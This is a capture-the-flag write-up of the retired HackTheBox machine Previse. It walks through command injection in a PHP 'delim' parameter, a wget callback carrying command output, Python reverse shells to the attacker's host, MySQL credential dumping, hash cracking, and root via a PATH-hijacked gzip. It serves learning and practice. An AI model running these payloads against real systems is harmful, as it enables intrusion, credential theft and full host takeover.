HTB: Previse
Posted on 08 Jan 2022 in security • 4 min read
This is a writeup about a retired HacktheBox machine: Previse publish on August 7, 2021 by m4lwhere. This box is rated as an easy machine. It implies a hidden page, a unsanitize variable, a funny salt and a relative PATH.
Foothold
Recon
Let us start as always by a nmap
scan. Only port 80 (HTTP) and 22 (SSH) are
open.
# Nmap 7.91 scan initiated Sat Aug 28 08:31:50 2021 as: nmap -p- -sSV -oN notes.md -A 10.129.193.153
Nmap scan report for 10.129.193.153
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
<SNIP>
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
<SNIP>
Web
The website is a simple authentication form. We launch ffuf
against it and
found a few pages.
└─$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.193.153/FUZZ -mc 200 -e .php
<SNIP>
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
favicon.ico [Status: 200, Size: 15406, Words: 15, Lines: 10]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
:: Progress: [9228/9228] :: Job [1/1] :: 2567 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
Looking at nav.php
we found the accounts.php
page with an automatic redirection to the login page
we look at the HTML and send the post request required to create an account
using Burp. We can then login as our user on the application
POST /accounts.php HTTP/1.1
Host: 10.129.193.153
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
Cookie: PHPSESSID=uu672fe9ecq5640am2fgsekhbk
Upgrade-Insecure-Requests: 1
username=toto1&password=12345&confirm=12345&submit=
We can download the siteBackup
file on the server.
The logs.php
file seems to be called when we want to get the log data via the management menu.
We can see that the POST parameter delim
is not sanitize and use directly in an exec
statement.
We can use that to run code on the box. We run a simple python HTTP server (python3 -m http.server
)
and using Burp repeater put the following payload in the delim
parameter:
POST /logs.php HTTP/1.1
Host: 10.129.193.153
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.129.193.153
Connection: close
Referer: http://10.129.193.153/file_logs.php
Cookie: PHPSESSID=uu672fe9ecq5640am2fgsekhbk
Upgrade-Insecure-Requests: 1
delim=; wget 10.10.14.52:8000/$(id)
We got the RCE on our web server:
10.129.193.153 - - [28/Aug/2021 09:06:34] "GET /uid=33(www-data) HTTP/1.1" 404 -
We know that python is on the box so we use a basic python reverse shell. The payload is the following:
delim=; python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
We run netcat
on our kali box to catch our reverse shell and are logged in
as the www-data
user.
nc -l -p 4242
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Using the connection credentials in the config.php
file we can login on the
MySQL database as root
and grab the passwords in the accounts
table.
$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)
Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> use previse;
use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> SHOW TABLES;
SHOW TABLES;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
mysql> select * from accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | totoo | $1$🧂llol$wzYjWk/p5usz8BzxvPrXs1 | 2021-08-25 12:49:52 |
| 3 | toto1 | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// | 2021-08-25 12:50:25 |
+----+----------+------------------------------------+---------------------+
3 rows in set (0.00 sec)
We run john on the hashes (keep the unicode salt character in the salt value)
with the rockyou dictionary and got the m4lwhere
user password.
$ john -w=rockyou.txt hash --format=md5crypt-long
--------------------------------------------------------------------------
Loaded 3 password hashes with no different salts (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)
12345 (?)
2g 0:00:00:51 6.65% (ETA: 15:36:49) 0.03919g/s 21235p/s 21235c/s 21238C/s 438700..4358427
2g 0:00:02:09 18.48% (ETA: 15:35:40) 0.01550g/s 22220p/s 22220c/s 22221C/s vixieskathys109..vixen911
ilovecody112235! (?)
3g 0:00:06:35 DONE (2021-08-28 15:30) 0.007588g/s 18752p/s 18752c/s 18752C/s ilovecoke95..ilovecody*
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We use this password to connect on the SSH service and get the user flag.
└─$ ssh m4lwhere@10.129.193.153 #ilovecody112235!
m4lwhere@previse:~$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
m4lwhere@previse:~$ cat user.txt
15af390166c631f24622d77948ba2444
Root
We look at our sudo
privileges and found that we can run a bash script as
root.
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
Looking at the script we quickly notice the use of a relative path to call the
gzip
binary we should be able to easily run anything.
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Obviously we could just retrive the flag by putting cp /root/root.txt /tmp && chmod 777 /tmp/*
in our gzip
file but a root
shell is better.
We have a few ways to get a root shell with our command injection:
- Add a root (id 0) user to
/etc/passwd
with a password of our choice (see armageddon) - surcharge our
sudo
permissions (see bountyhunter) - Add an ssh key to
root
- run a reverse shell
We will use the latest one here and get a reverse shell as root
allowing to grab
the last flag.
m4lwhere@previse:~$ export PATH=./:$PATH
m4lwhere@previse:~$ vim gzip
m4lwhere@previse:~$ cat gzip
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
m4lwhere@previse:~$ chmod +x gzip
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
└─$ nc -l -p 4242
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
d465e7ac787731bbd7de2f69444407e3
Wrapping up
An easy box really recommended for beginners as their is only two classical vulnerabilities here.